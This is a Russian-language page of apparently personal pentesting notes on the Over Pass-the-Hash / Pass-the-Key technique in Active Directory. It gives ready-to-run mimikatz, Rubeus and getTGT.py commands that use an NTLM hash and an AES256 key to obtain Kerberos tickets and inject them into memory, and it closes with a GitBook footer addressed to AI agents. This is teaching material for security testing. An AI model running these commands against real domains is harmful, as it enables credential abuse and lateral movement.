> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Kerberos поддерживает несколько типов ключей, включая `RC4`, `AES128`, и `AES256`.

С `mimikatz`, следующая команда открывает новую сессию и также изменяет контекст Kerberos в памяти.

```bash
./mimikatz.exe

sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/64bb2166a324042c26e488f5f9d82d1efe90e941" alt=""><figcaption></figcaption></figure>

После загрузки этого контекста мы можем запросить TGT с помощью `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

Эта команда извлекает TGT учетной записи и внедряет его напрямую в память.

<figure><img src="/files/7901316d40b676eed82d5c33d8fa3da576dab295" alt=""><figcaption></figcaption></figure>

Чтобы увидеть ключи Kerberos, присутствующие в памяти для учетной записи, мы можем использовать `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

Затем мы восстанавливаем несколько представлений одного и того же ключа, например в `RC4` и в `AES256`.

<figure><img src="/files/ca0ee8b6701acf459ede218a00ef64b3cddb9c8c" alt=""><figcaption></figcaption></figure>

Затем мы можем запросить TGT с помощью AES-ключа.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

В Linux ту же операцию можно выполнить с помощью `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="/files/b85647ea02530ac725cc85da6c90b1bea9937612" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
